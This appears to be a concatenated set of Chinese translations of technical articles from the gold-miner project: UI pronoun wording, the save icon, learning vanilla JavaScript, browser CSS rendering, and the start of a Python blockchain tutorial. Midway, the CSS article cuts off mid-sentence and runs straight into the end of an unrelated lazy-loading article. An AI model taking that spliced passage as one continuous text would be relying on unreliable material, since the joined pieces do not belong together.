所以在这个情况下,只将其称为“频道”是不合理的。 也许,这也是 Windows 将**“电脑(Computer)”**改为**“本机(This PC)”**的原因吧。因为单单称之为**“电脑”**很容易造成误解,所以需要明确这里指的是**“本机”**。 ### 举一反三 直到现在,我们主要讨论的都是界面上属于用户的数据信息该如何称呼。但这只是用户在使用产品时遇到的文案中很小一部分内容。那按钮名称、指示语还有设置页面等其他情况该怎么做呢? 对此众说纷纭,而以下是我认为比较适用的设计指南: - **什么时候使用*第一人称*:**在用户进行操作的时候,比如点击按钮或者勾选复选框的时候,只有当你觉得必须要清晰地说明关系的时候才可使用。 - **什么时候使用*第二人称*:**当产品向用户提问、指导或者描述事情的时候应该使用第二人称。就想象一下一个私人助手应该会怎么说。 ![](http://ac-Myg6wSTV.clouddn.com/419a7460534cb2ace4d2.png) ### 使用“我们的”用法 在文章结束之前,我必须要说一个很常见的用法。有些产品喜欢在界面上使用“我们的”、“我们”。 ![](http://ac-Myg6wSTV.clouddn.com/27b1ab1405835f5bdc9e.png) 美国大通银行的主页上 使用了“我们”和“我们的”,这确实增加了第三方参与者的概念————那些在产品背后的工作人员。这表明有真实的人类在为用户工作,而不只是一些冰冷的机器。 如果你的产品是在向用户带来人工服务,比如烹饪、设计或者清洁服务,使用“我们”的说法更具有人情味。“我们将会为您提供帮助”,“请使用我们的服务”。让用户知道在这些冰冷的屏幕背后,有真实的人在服务,将让用户感到更踏实。 另一方面,如果你的产品跟谷歌搜索一样是一个自动化的产品,“我们的”用法将会误导用户,因为搜索引擎背后并没有实实在在的服务人员。事实上,谷歌的界面规范手册上也提及他们大部分产品都不会出现“我们的”字样。 ### 那么你的观点呢? 我之所以写这篇文章,是因为我看到这个问题无数次被设计师、程序员及其他作者提起讨论。为什么这里我们要用第一人称?而那里又用第二人称?但至今为止,我没有看到几篇文章把这件事讲清楚。 对此你是否有自己的见解?我很乐意听到你的声音。 ![](http://ac-Myg6wSTV.clouddn.com/1a1ff00440e74f4a5fa7.jpeg) ================================================ FILE: TODO/is-this-the-perfect-save-icon.md ================================================ >* 原文链接 : [Is this the perfect save icon?](https://medium.com/@etchuk/is-this-the-perfect-save-icon-9651129bda85#.4jwcx3q5m) * 原文作者 : [Etch](https://medium.com/@etchuk) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [vlux](https://github.com/vlux) * 校对者: [lekenny](https://github.com/lekenny) / [mdluo](https://github.com/mdluo) ![](https://cdn-images-1.medium.com/max/1200/1*koe64usSwmwA485C8rPMzQ.jpeg) ## 寻找最完美的“保存”图标 上周在 Etch 公司,我的朋友兼同事 [**Matt Jackson**](https://twitter.com/Jacky_Vee_) 问了我一个简单的问题: > 如今用软盘作为“保存”图标依然合适吗? 这一问题近年来被人们反复提起,在好奇心驱使下我们开始找寻更好的解答。 根据一项 2013 年的调查:1000 名来自幼儿园到五年级的孩子们被问及关于图解的问题,结果呈现一个很有趣的现象:只有 14% 的孩子知道“保存”图标代表着什么。 ![](https://cdn-images-1.medium.com/max/800/1*AGarz-ZbYsJgC3B4YqV1Jg.png) 这是一项令人担忧的统计结果。用户界面的最终目的就是在人与机器之间建立一个双方都理解的信息输入输出连接。所以我们应该一直为那些能向用户传达意义的图标而努力。 我们现在已经进入了一个主要用户群体是年轻人的时代。用户们很少、甚至没有用过软盘。鉴于这种情况,我们作为设计师能很确信地说我们用了最好的方式来传递“保存”这个概念? > 啥是“软盘”?! 事实上,我对这件事想的越多,我们越疑惑有00后知道些关于硬盘的知识吗。甚至对于设备数据的读/写数据这一概念对他们来说都可能是“天外飞仙“。 ## 如何弥补这个问题? **“图标设计”的概念是:** 设计一个图标的过程,它代表一些真实的,美轮美奂的或是抽象的动机,实体或是行为。在软件应用的背景下,一个图标通常代表一个程序,一个功能,一个数据或是电脑系统上的一组数据。 **让我们再深入的了解下:** _设计一个能反应真实情况的图标。_ 一个图标是一个想法或者概念的视觉传达。他们从一些行为比如声音,形态,感觉或者言语中获得灵感。 这没什么问题,我十分同意这种说法,但是是这句话的后半部分引起了问题,“**真实情况**”。这是一个简单事儿,它是你眼前这个实物的字面意思。 但是随着时间推移这些实物演变成一些彻彻底底不同的物体。对于“电话”的字面解释已经不再包含“旋转拨号盘”,“麦克风”和“听筒”这些字眼。我的意思是看一下这些所谓的_经典_图标。问问自己是否他们还像他们今天的样子? ![](https://cdn-images-1.medium.com/max/800/0*NTJOxf6bqJ0LP1UH.png) ## 讲解下图标的演变 ### 抽象概念 在我们的“图标设计”的概念里另一部分提到“美轮美奂的或是抽象的动机,实体或是行为”。这句话真的很令我兴奋。但是这真的很难去实现,这也就是为什么大多数情况情况下我们选择更容易的方式并且只是让它具有字面意。 我很喜欢依据感性和人对于一些事物自然的反应去设计图解。下面列出的是一些符号化动作而不是实体的例子。 ![](https://cdn-images-1.medium.com/max/800/0*_wRiCmXC-2gDW7NV.png) 它们离“完美”还差得远但它绝对是一个拓展我们想象空间和创造力的好例子。我们的目标是创造一些永恒的并且有效的东西,或者我应该说 **_图标化_** 一个优秀的事例是[**Google设计团队的作品**](https://www.youtube.com/watch?v=IYyRpZglZP4). ![](https://cdn-images-1.medium.com/max/800/0*nzyx1xNHj8iNH6sN.gif) ![](https://cdn-images-1.medium.com/max/800/0*oUX704mMfs3LGB0N.jpg) 他们给这四个同样的小圆点带来了生机与意义的设计真的是令人称赞。并且每次符号化一个动作我们都可以立即分辨出来它所代表的意思。 ## 真棒,但新的“保存”图标到底在哪儿!? ### 好吧,关于这个问题… 事实情况是你可能真的不需要一个新的“保存”图标。就像我之前说过的,时代是变化的,现在谁还会从固件读写数据? 亲爱的,现在都用“云”了。是的,我知道“云”是由巨大的数据中心组成,但是手动存储数据已经不再是让我们凌乱的事情了。 现如今当我工作的时候我只需要知道:我有网络连接吗?我成功同步数据了吗?大大的对号!棒棒哒!我知道我随时从世界的任何一个角落通过任意一台设备都能访问到我同步的那份数据。 通常对于这类的问题,我们喜欢用房屋设计咨询师[**Paul Davies**](https://twitter.com/thedesignpsych)传授的伟大智慧来说服我们自己。他的方法虽然简单,但确实是有效的。所以如果你确实需要“保存”某个东西: > 做一个按钮然后把“保存”两个字放上面! 我一开始写这篇文章的时候觉得软盘作为一个图标太渣了,实话实话我现在觉得我当时反应有些过激了。 **我来再回顾下那份调查:** _只有14%的孩子知道“保存”图标代表着什么_ 14%?真的吗?呵呵,现在读来我认为的是100%的孩子知道这是一个“保存”图标,但是只有14%的孩子知道这个符号背后隐含的历史。所以说这个图标确保了用户和机器的交互了吗?我觉得应该说“是的”。 让我们来这么看待这个问题,你们多少人知道USB符号的原型是海神尼普顿的三叉戟(那把强有力的Dreizack),蓝牙符号是两个代表Harald Blåtand首字母的如尼字母组合而来。Harald碰巧是蓝莓的忠实粉丝,所以据称他总是有一颗蓝色的牙齿。可能确实你们中有人知道这些典故。但是那些不知道典故的人并没有因此很困难的把手机用蓝牙连上车载音响或是使用USB设备。 **问题的关键是,如果你真的需要一个图标,请确保它是简单、易辨识、始终如一的。** 以后世人怎么认为这个软盘的图标我们无从知晓,可能那是一个你根本就不需要知道它是一个关于软盘的争论。你只需要知道摁下那个奇怪的四四方方的图标就代表着保存东西。对于那些没有使用过软盘的新一代,这个符号可能是一个奇怪的抽象的概念,但终究还是一个美轮美奂的事物吧。 或许那也无所谓,或者这就已经是最完美的“保存”图标了。 ![](https://cdn-images-1.medium.com/max/800/0*MqZQiPMgmDTNGEnD.png) ================================================ FILE: TODO/is-vanilla-javascript-worth-learning-absolutely.md ================================================ > * 原文地址:[Is Vanilla JavaScript worth learning? Absolutely.](https://medium.freecodecamp.org/is-vanilla-javascript-worth-learning-absolutely-c2c67140ac34) > * 原文作者:[David Kopal](https://medium.freecodecamp.org/@codinglawyer) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/is-vanilla-javascript-worth-learning-absolutely.md](https://github.com/xitu/gold-miner/blob/master/TODO/is-vanilla-javascript-worth-learning-absolutely.md) > * 译者:[lampui](https://github.com/lampui) > * 校对者:[kyrieliu](https://github.com/KKKyrie)、[Calpa Liu](https://github.com/calpa) # 原生 JavaScript 值得学习吗?答案是肯定的 ![](https://cdn-images-1.medium.com/max/2000/1*E-94pGEukt8lDI2aDY3XcQ.jpeg) 这篇文章的意图是要给每位前端开发者强调 JavaScript 的基本原理。原生([Vanilla](https://en.wikipedia.org/wiki/Vanilla_software))是指没有额外框架或库的 JavaScript。本文将会告诉你为什么应该对原生 JavaScript 有一个较好的认识。 我也会提及一些帮助过我学习这些基本原理的资源。 写这篇文章背后的另一个原因是许多有抱负的 web 开发者倾向于跳过 JavaScript 核心概念的学习,诸如提升、闭包或原型。他(她)们直接学习最热门的框架,例如 React 或 Angular 2。我会向你说明为什么这种方法不能称之为一条捷径。 ### 每个人都想要有 ${请填写热门的框架名字} 知识的开发者… 那么,还有什么理由让你再费事去学习原生 JavaScript 吗? ![](https://cdn-images-1.medium.com/max/1600/1*eTO0IHM6_MyCNIvBOLp7ag.jpeg) 不了解一门语言本身的核心知识那是很难成为一名大神的,就像在你去一个有特定法律的领域之前,你需要先清楚法律的一些基本原则。[这个比喻](https://ideas.ataccama.com/i-stopped-being-a-lawyer-became-a-developer-and-its-awesome-5311e8d74882)真的很巧。😉 我能理解大多数热血十足的 web 开发者想尽快地找到工作的心情。因为我也想。 看起来去上一门 JavaScript 基础速成班、钻研一些框架、开发个 ToDo 列表([let a puppy die](https://medium.freecodecamp.com/every-time-you-build-a-to-do-list-app-a-puppy-dies-505b54637a5d))和上传到 GitHub,然后再开始找工作会简单些。 ### …但从长远来看,把时间投入到原生 JavaScript 的学习会更有收获 别误会我,无论如何我都不是对 JavaScript 的各种框架有偏见。恰好相反,许多框架反而能让你书写出可读性和维护性更高的代码,这些框架还能让你写出比平时更容易调试的抽象代码。 但 JavaScript 生态进化得非常快,新框架层出不穷,新功能不断地被添加到已有的功能上,最重要的是,眼下许多热门的框架迟早都会被替代,例如 Angular 1。 在这样的环境下,你还认为具备某个 JavaScript 框架的知识对一名 web 开发者来说就足够了吗? 还是去理解这门语言是如何在这些框架和库的背后运作好点? ![](https://cdn-images-1.medium.com/max/1600/1*wQgXQXDwZe_3f1br1HcHcA.jpeg) Yes, 你对了!当然是第二个选择。 如果你有一个很扎实的 JavaScript 基础,当开始工作的时候唯一需要让自己熟悉的就是新框架的**语法**,在所有层次的抽象下,基本的规则还是一样的,它还是纯粹的 JavaScript。 如果你的知识仅限于某个 JavaScript 框架,那你学习另一个新框架的时候会很艰难。不同的框架通常是基于不同的 JavaScript 原则。从长远来看,你会花跟多时间去理解不同的框架和调试你写的代码。 所有的 JavaScript 框架和库都不可避免地基于原生 JavaScript。 从长远来看,这应该能说服任何人掌握原生 JavaScript 是必须的。这是对任何一名成功开发者的必要条件,特别是对于一个主要工作在 JavaScript 生态下的开发者。 ![](https://cdn-images-1.medium.com/max/1600/1*UkL0I2o1GDdXGUMPecxY7g.jpeg) ### 个人经验 不久前,我回顾了自己是怎样从一名律师转变为一名 web 开发者的[过程](https://ideas.ataccama.com/i-stopped-being-a-lawyer-became-a-developer-and-its-awesome-5311e8d74882#.v3xurb9v5),从我开始写第一个 JavaScript 函数算起,都有 18 个月了,并且现在是我成为专业前端开发者的第 10 个月了。 我依然记得摸索正确的 JavaScript 学习之路对我来说是多么地有挑战性,因为我之前没有任何的编程经验。我尝试过(至今还在尝试)许多不同的方法成为一名高效的学习者,有些方法会让我收获很多,有些却较少。 最重要的是,开始的时候我把重点放在了学习原生 JavaScript 上面,这对我的帮助太不可思议了。**接下来是框架。** ![](https://cdn-images-1.medium.com/max/1600/1*ixM8cuSIabPQ5Wlj0rgsVQ.jpeg) [picture credit](https://www.keepcalm-o-matic.co.uk/p/keep-calm-and-learn-javascript/) 现在,我在工作中用的是 [React](https://facebook.github.io/react/)-[Redux](http://redux.js.org/) 技术栈。即便如此,我经常能用原生 JavaScript 的知识解决眼下的一些问题。如果只具备某个框架的知识,这些 bugs 解决起来将会更具挑战性。 学习 React 或 Angular 2 不会教你对象是通过引用传递或闭包是怎样工作的。在更加抽象的框架下,尝试去理解这些概念那就更加困难了。这就使简单的 JavaScript 概念变得更难以理解。 此外,如果你工作中用的是 [JSX](https://facebook.github.io/react/docs/jsx-in-depth.html) (React, Vue, Inferno) 或 [TypeScript](https://www.typescriptlang.org/) (Angular 2),那你还有另一层的抽象层。 如果你想明白这些框架背后是怎样工作的,你需要先明白 JavaScript 本身是怎样工作的。 你可以通过阅读自己喜欢的框架的源代码**考考自己**对原生 JavaScript 的认识。这样不仅能够呈现一副这些框架背后工作的画面给你,同时也能教会你许多逻辑,顺便还可以用到工作中。你会看到框架里的函数貌似在你的应用中施了很多魔法,但其实这只是一些 JavaScript 基本概念的组合。 ### 给我一些可以去学习的东西 你现在可能会问“哪些是能够帮助我学习原生 JavaScript 知识的好资源?”。 现在已经有太多关于 JavaScript 及其框架的课程和书籍。但只有少数是全面地教你理解原生 JavaScript 的,大多数还是专注于某个具体的 JavaScript 技术。 但依然还是存在好资源的… ![](https://cdn-images-1.medium.com/max/1600/1*xPqexrgvo6HsgWM28Bw1-Q.jpeg) 《[JavaScript 编程精解](http://eloquentjavascript.net/)》不仅会教你基本的 JavaScript,同时也会教你广泛适用的编程技巧。如果你已经是一名高级开发者,这本书会向你提供一个关于 JavaScript 和它的核心原则的新视角。 另外一个非常不错的资源是 Kyle Simpson 写的《[你不知道的 JavaScript](https://github.com/getify/You-Dont-Know-JS)》。Kyle 真的知道如何去施教,关于高级的 JavaScript 概念对初学者解释得很友好,并且他将它们涵盖的很深。仅仅是这几本书的标题就已经告诉你要去学习什么,“Up & Going”、“Scope & Closures”、“this & Object Prototypes”、“Types & Grammar”、“Async & Performance”、“ES6 & Beyond”。现在已经有第七册书,名字叫 [JavaScript 中的函数式编程](https://github.com/getify/Functional-Light-JS)。 《JavaScript 编程精解》和《你不知道的 JavaScript》这两套书共同的好处就是**你都可以免费获得**(查看给出的链接)。但如果你发现它们对你很有帮助,别忘记通过购买它们以对作者表示支持。 如果你更倾向于看视频学习,你可以观看[ Kyle 的在线课](https://frontendmasters.com/kyle-simpson/),我觉得最好把看视频作为是看书的辅助学习,因为这些主题都是一样的。当然啦,这些课程都是免费的。 另一个我觉得有帮助的视频教程是 Anthony Alicea 的 [Javascript: Understanding the Weird Parts](https://www.udemy.com/understand-javascript/)。这个教程以循序渐进的方式解释了 JavaScript 背后发生的事,同时这门教程涵盖了诸如原型继承、函数式编程和作用域链的高级概念。 ### 马上学习原生 JavaScript 吧 如果你之前投入过时间学习原生 JavaScript,那你肯定不会后悔。不仅仅是因为**原生**,同时也是因为这会对你日后的编程技巧有好的影响。 对我来说,最好的权衡是相对于花时间学习一门指定的框架,学习原生 JavaScript 会在未来带给你更多好处。框架只是捷径,背后其实都是 JavaScript。 当你用上某个框架,并在某个地方出现异常时你就会明白了,在这种情况下,你会被迫通过浏览源代码去调查这个 bug。我是不是提到过,虽然许多框架欠缺得体的文档,但它们却有复杂的代码?但是,小菜一碟,对吗?你肯定已经花了很多时间学习原生 JavaScript 了?还是没有? 从这篇文章中你应该记住一件事: 牢牢记住原生 JavaScript 会帮助你成为一名更好的开发者。完 ![](https://cdn-images-1.medium.com/max/1600/1*-0-CNkI704V7s879GpF86w.jpeg) 如果你喜欢这篇文章,鼓个掌吧,我会很感激你的。 Twitter 见 😊 [![](https://ws4.sinaimg.cn/large/006tKfTcgy1fiv00i5jlnj314i0a60uk.jpg)](https://twitter.com/coding_lawyer) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md ================================================ > * 原文地址:[CSS Isn’t Black Magic](https://medium.freecodecamp.org/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets-c8d677fa21b2) > * 原文作者:[aimeemarieknight](https://medium.freecodecamp.org/@aimeemarieknight) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md](https://github.com/xitu/gold-miner/blob/master/TODO/its-not-dark-magic-pulling-back-the-curtains-from-your-stylesheets.md) > * 译者:[吃土小2叉](https://github.com/xunge0613) > * 校对者:[薛定谔的猫](https://github.com/Aladdin-ADD)、[LeviDing](https://github.com/leviding) # CSS 才不是什么黑魔法呢 ## 一起来揭开 CSS 的神秘面纱 ![](https://cdn-images-1.medium.com/max/1600/1*TqpR80LFFl09NnOpISdXJg.jpeg) 如果你是一名 web 开发者,你可能会时不时地写一些 CSS。 当你第一次接触 CSS 时,似乎觉得 CSS 轻而易举。加边框,改颜色,小菜一碟。JavaScript 才是前端开发的难点,不是吗? 但是在你 web 开发生涯中的某天,这个想法变了!更糟糕的是,许多前端社区的开发者早已把 CSS 轻视为一门玩具语言。 然而,事实却是当我们碰壁时,我们中的许多人实际上未曾深入了解我们编写的 CSS 做了什么。 在我接受前端培训后的头两年,我曾从事全栈 JavaScript 开发,偶尔写一点点 CSS。作为 [JavaScript Jabber](https://devchat.tv/js-jabber/my-js-story-aimee-knight) 评委会的一员,我一直认为 JavaScript 才是我吃饭的家伙,所以大部分时间我都花在 JavaScript 上。 然而直到去年,当我决定专注于前端时,才意识到根本无法像调试 JavaScript 那样轻松地调试 CSS! 我们都喜欢拿 CSS 开玩笑,但是我们中有多少人真的花时间去尝试理解我们正在编写或正在阅读的 CSS。当我们碰壁时,我们有多少人在解决问题的同时,会深入最底层(看看发生了什么)? 相反,我们止步于照搬 StackOverflow 上票数最高的答案,或者用一些黑科技(hack)手段随便应付一下,或者我们干脆撒手不管了:那是一个 feature 而不是一个 bug。 当浏览器以非预期的方式呈现 CSS 时,开发者常常感到非常困惑。但是 CSS 并不是黑魔法,而作为开发者,我们都明白计算机只会按照我们的指令去执行。 学习浏览器的内部工作原理将有助于掌握高级调试技巧和性能优化方案。虽然许多会议的演讲会讨论如何修复常见的 bug,但我的演讲(和这篇文章)的重点在于为什么会有这些 bug,为此我将深入介绍浏览器内部原理,看看我们的 CSS 是如何被解析和呈现。 ### DOM 与 CSSOM 首先,了解浏览器包含 JavaScript 引擎和渲染引擎非常重要,而本文将重点关注后者。例如,我们将讨论涉及 WebKit(Safari),Blink(Chrome),Gecko(Firefox)和 Trident / EdgeHTML(IE / Edge)的细节。浏览器将经历包括转换、标记化、词法分析和解析的过程,最终构建 DOM 和 CSSOM。(译注:CSSOM 即 CSS Object Model,定义了媒体查询,选择器和 CSS 本身的 API,这些 API 包括了通用解析和序列化规则,传送门:[CSSOM](https://www.w3.org/TR/cssom-1/)) 这一过程大致可以分为以下几个步骤: - **转换**:从磁盘或网络读取 HTML 和 CSS 的原始字节。 - **标记化**: 将输入内容分解成一个个有效标记(例如:起始标签、结束标签、属性名、属性值),分离无关字符(如空格和换行符)。 - **词法分析**:和 tokenizer(标记生成器)类似,但它还标记每个 token 的类型(类型包括:数字、字符串字面量、相等运算符等等)。 - **解析**: 解析器接收词法分析器传递的 tokens,并尝试将其与某条语法规则进行匹配,匹配成功后将之添加到抽象语法树中。 一旦 DOM 树和 CSSOM 树创建完毕,渲染引擎就会将数据结构附加到所谓的渲染树中,并作为布局过程的一部分。 渲染树是文档的可视化表现形式,它按照正确的顺序绘制页面的内容。渲染树的构造过程遵循以下顺序: - 从 DOM 树的根节点开始,遍历每个可见节点 - 忽略不可见的节点 - 对于每个可见节点,找到合适的与 CSSOM 匹配的规则并应用它们 - 发送包含内容和计算样式的可见节点 - 最后,在屏幕上输出包含所有可见元素的内容和样式信息的渲染树。 CSSOM 可以对渲染树产生很大的影响,但不会影响到 DOM 树。 ### 渲染 经历了布局和渲染树构建后,浏览器终于要开始将网页绘制到屏幕上并合成图层。 - **布局**:包括计算一个元素占用的空间以及它在屏幕上的位置。父元素可以影响子元素布局,某些情况下子元素也会反过来影响父元素。 - **绘制**:将渲染树中的每个节点转换为屏幕上的实际像素的过程。它涉及绘制文本、颜色、图像、边框和阴影。绘图通常在多个图层上完成,另外由于加载、执行 JavaScript 而改变了 DOM 会导致多次绘制 。 - **合成**:将所有图层合并在一个图层,作为最终屏幕上可见图层的过程。由于页面的各个部分可以绘制成多层,所以需要以正确的顺序绘制到屏幕上。 绘制时间取决于渲染树结构,元素的 `width` 和 `height` 的值越大,绘制时间就越长。 添加各种特效同样会增加绘画时间。绘制的顺序是按照元素进入层叠上下文的顺序(从后往前绘制),稍后我们再谈谈 `z-index`。如果你喜欢看视频教程,有一个很棒的关于绘制过程的 [demo](https://www.youtube.com/watch?v=ZTnIxIA5KGw)。 当人们在谈论浏览器的硬件加速时,绝大多数都是指加速“合成”过程,也就是意味着使用 GPU 来合成网页的内容。 与使用计算机 CPU 进行合成的旧方式相比,使用 GPU 能带来相当多的速度提升,而合理利用 `will-change` 这一属性有助于此。(译注:`will-change` 相关资料传送门 [will-change MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/will-change) 、[Everything You Need to Know About the CSS will-change Property](https://dev.opera.com/articles/css-will-change-property/)) 举个例子:在使用 CSS `transform` 属性时,`will-change` 属性能提前告知浏览器 DOM 元素接下来会有哪些变化。这可以将一些绘制和合成操作移交给 GPU,从而大大提高有大量动画的页面的性能。使用 `will-change` 属性,对于滚动位置变化、内容变化、不透明度变化以及绝对定位坐标位置变化也有类似的性能收益。 有必要了解一件事:某些 CSS 属性将导致重新布局,而其他属性只会导致重新绘制。当然出于性能考虑,最好只触发重绘。 举个例子:元素的颜色改变后,只会对该元素进行重绘。而元素的位置改变后,会对该元素及其子元素(可能还有同级元素)进行布局和重绘。添加 DOM 节点后,会对该节点进行布局和重绘。一些重大变化(例如增大 `html` 元素的字体)会导致整个渲染树进行重新布局和绘制。 如果你像我一样,比起 CSSOM 更熟悉 DOM,那么让我们来深入了解一下 CSSOM。请务必注意,默认情况下,CSS 会被视为阻塞渲染资源。这意味着浏览器在构建完 CSSOM 之前,将挂起任何其它进程的渲染。 CSSOM 和 DOM 并不是一一对应的。具有 `dispay:none` 属性的元素、` ``` 实时预览代码: [http://codepen.io/rposbo/pen/EKmXvo](http://codepen.io/rposbo/pen/EKmXvo) ## 总结 正如你看到的,的确实现了懒加载图片(包括你想了解的其他内容),同时对损坏的JavaScript和不支持JavaScript的条件下进行了兼容。 这有一个GitHub仓库作为实践,展示了主页面和“flat”列表页的区别:[https://github.com/rposbo/lazyloadimages](https://github.com/rposbo/lazyloadimages) 此仓库还展示了在.NET中实现的解决方案,通过相同的动态生成items到两个列表页。 ================================================ FILE: TODO/learn-blockchains-by-building-one.md ================================================ > * 原文地址:[Learn Blockchains by Building One: The fastest way to learn how Blockchains work is to build one](https://hackernoon.com/learn-blockchains-by-building-one-117428612f46) > * 原文作者:[Daniel van Flymen](https://hackernoon.com/@vanflymen?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/learn-blockchains-by-building-one.md](https://github.com/xitu/gold-miner/blob/master/TODO/learn-blockchains-by-building-one.md) > * 译者:[cdpath](https://github.com/cdpath) > * 校对者:[atuooo](https://github.com/atuooo) [dubuqingfeng](https://github.com/dubuqingfeng) # 从零到一用 Python 写一个区块链 ![](https://cdn-images-1.medium.com/max/2000/1*zutLn_-fZZhy7Ari-x-JWQ.jpeg) 本文的读者想必跟我一样对数字加密货币的崛起兴奋不已,应该也想了解数字加密货币背后的区块链的工作原理吧。 但是区块链不太好懂,反正我理解起来比较费劲。我看了不少难懂的视频,学了些漏洞百出的教程,找了些少得可怜的例子试了试,都挺让人失望的。 我喜欢在实践中学习。这迫使我搞定在代码层面就至关重要的东西,这才是黏人的地方。如果你和我一样,读完本文你就可以构建一个可以使用的区块链,同时扎实理解其工作原理。 ## 背景知识…… 要知道区块链是**不可变的,有序的**记录的链,记录也叫做区块。区块可以包含交易,文件或者任何你能想到的数据。不过至关重要的是,它们由**哈希值****链接**在一起。 如果你不知道哈希是什么,先看看 [这篇文章](https://learncryptography.com/hash-functions/what-are-hash-functions)。 **本文的目标读者是谁?** 你应该可以熟练读写基本的 Python 代码,也要基本了解 HTTP 请求的工作原理,因为本文将要实现的区块链依赖 HTTP。 **需要什么环境?** Python 版本不低于 3.6,装有 `pip`。还需要安装 Flask 和绝赞的 Requests 库: ``` pip install Flask==0.12.2 requests==2.18.4 ``` 哦,你还得有个 HTTP 客户端,比如 Postman 或者 cURL。随便什么都可以。 **那代码在哪里?** 源代码在 [这里](https://github.com/dvf/blockchain)。 ## 第一步:创建 Blockchain 类 用你喜欢的编辑器或者 IDE,新建 `blockchain.py` 文件,我个人比较喜欢 [PyCharm](https://www.jetbrains.com/pycharm/)。本文全文都使用这一个文件,但是如果你搞丢了,可以参考[源代码](https://github.com/dvf/blockchain)。 ### 表示区块链 创建 `Blockchain` 类,其构造函数会创建两个初始为空的列表,一个存储区块链,另一个存储交易信息。类设计如下: ``` class Blockchain(object): def __init__(self): self.chain = [] self.current_transactions = [] def new_block(self): # Creates a new Block and adds it to the chain pass def new_transaction(self): # Adds a new transaction to the list of transactions pass @staticmethod def hash(block): # Hashes a Block pass @property def last_block(self): # Returns the last Block in the chain pass ``` Blockchain 类的设计 `Blockchain` 类负责管理链。它用来存储交易信息,也有一些帮助方法用来将新区块添加到链中。我们接着来实现一些方法。 ### 区块长什么样? 每个区块都有其**索引**,**时间戳**(Unix 时间),**交易列表**,**证明**(稍后解释),以及**前序区块的哈希值**。 下面是一个单独区块: ``` block = { 'index': 1, 'timestamp': 1506057125.900785, 'transactions': [ { 'sender': "8527147fe1f5426f9dd545de4b27ee00", 'recipient': "a77f5cdfa2934df3954a5c7c7da5df1f", 'amount': 5, } ], 'proof': 324984774000, 'previous_hash': "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824" } ``` 区块链中的区块的例子 到这里**链**的概念就介绍清楚了:每个新区块都包含上一个区块的哈希。**这一重要概念使得区块链的不可变性成为可能**:如果攻击者篡改了链中的前序区块,**所有**的后续区块的哈希都是错的。 理解了吗?如果没有想明白,花点时间思考一下,这是区块链的核心思想。 ### 在区块中添加交易信息 此外,还需要在区块中添加交易信息的方法。用 `new_transaction()` 方法来做这件事吧,代码写出来非常直观: ``` class Blockchain(object): ... def new_transaction(self, sender, recipient, amount): """ Creates a new transaction to go into the next mined Block :param sender: Address of the Sender :param recipient: Address of the Recipient :param amount: Amount :return: The index of the Block that will hold this transaction """ self.current_transactions.append({ 'sender': sender, 'recipient': recipient, 'amount': amount, }) return self.last_block['index'] + 1 ``` `new_transaction()` 在列表中添加新交易之后,会返回该交易被加到的区块的**索引**,也就是指向**下一个要挖的区块**。稍后会讲到这对于之后提交交易的用户会有用。 ## 创建新区块 实例化 `Blockchain` 类之后,需要新建一个**创始区块**,它没有任何前序区块。此外还要在创始区块中加入**证明**,证明来自挖矿(或者工作量证明)。稍后再来讨论挖矿这件事。 除了要在构造函数中创建**创始区块**,我们还要实现 `new_block()`,`new_transaction()` 和 `hash()`。 ``` import hashlib import json from time import time class Blockchain(object): def __init__(self): self.current_transactions = [] self.chain = [] # Create the genesis block self.new_block(previous_hash=1, proof=100) def new_block(self, proof, previous_hash=None): """ Create a new Block in the Blockchain :param proof: The proof given by the Proof of Work algorithm :param previous_hash: (Optional) Hash of previous Block :return: New Block """ block = { 'index': len(self.chain) + 1, 'timestamp': time(), 'transactions': self.current_transactions, 'proof': proof, 'previous_hash': previous_hash or self.hash(self.chain[-1]), } # Reset the current list of transactions self.current_transactions = [] self.chain.append(block) return block def new_transaction(self, sender, recipient, amount): """ Creates a new transaction to go into the next mined Block :param sender: Address of the Sender :param recipient: Address of the Recipient :param amount: Amount :return: The index of the Block that will hold this transaction """ self.current_transactions.append({ 'sender': sender, 'recipient': recipient, 'amount': amount, }) return self.last_block['index'] + 1 @property def last_block(self): return self.chain[-1] @staticmethod def hash(block): """ Creates a SHA-256 hash of a Block :param block: Block :return: """ # We must make sure that the Dictionary is Ordered, or we'll have inconsistent hashes block_string = json.dumps(block, sort_keys=True).encode() return hashlib.sha256(block_string).hexdigest() ``` 上面的代码还是比较直观的,还有一些注释和文档字符串做进一步解释。这样就差不多可以表示区块链了。但是到了这一步,你一定好奇新区块是怎样被创建,锻造或者挖出来的。 ### 理解工作量证明 工作量证明算法(PoW)表述了区块链中的新区块是如何创建或者挖出来的。PoW 的目的是寻找符合特定规则的数字。对网络中的任何人来说,从计算的角度上看,该数字必须**难以寻找,易于验证**。这是工作量证明算法背后的核心思想。 下面给出一个非常简单的例子来帮助理解。 不妨规定某整数 `x` 乘以另一个 `y` 的哈希必须以 `0`结尾。也就是 `hash(x * y) = ac23dc...0`。就这个例子而言,不妨将令 `x = 5`。Python 实现如下: ``` from hashlib import sha256 x = 5 y = 0 # We don't know what y should be yet... while sha256(f'{x*y}'.encode()).hexdigest()[-1] != "0": y += 1 print(f'The solution is y = {y}') ``` 解就是 `y = 